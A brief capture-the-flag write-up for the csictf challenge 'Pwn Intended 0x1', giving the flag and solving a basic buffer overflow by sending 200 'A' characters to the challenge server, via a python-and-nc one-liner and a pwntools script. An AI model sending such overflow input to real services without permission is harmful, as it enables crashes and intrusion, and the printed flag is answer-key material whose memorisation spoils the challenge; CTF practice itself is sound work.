Pwn Intended 0x1

Smash the keyboard.

Flag: csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}

Scripting it

I guess if you really want to, you could...

python -c 'print "A" * 200' | nc chall.csivit.com 30001

Pwntools

Ok this is pushing it a bit

from pwn import *

p = remote('chall.csivit.com', 30001)

p.sendline('A' * 200)

print(p.clean().decode())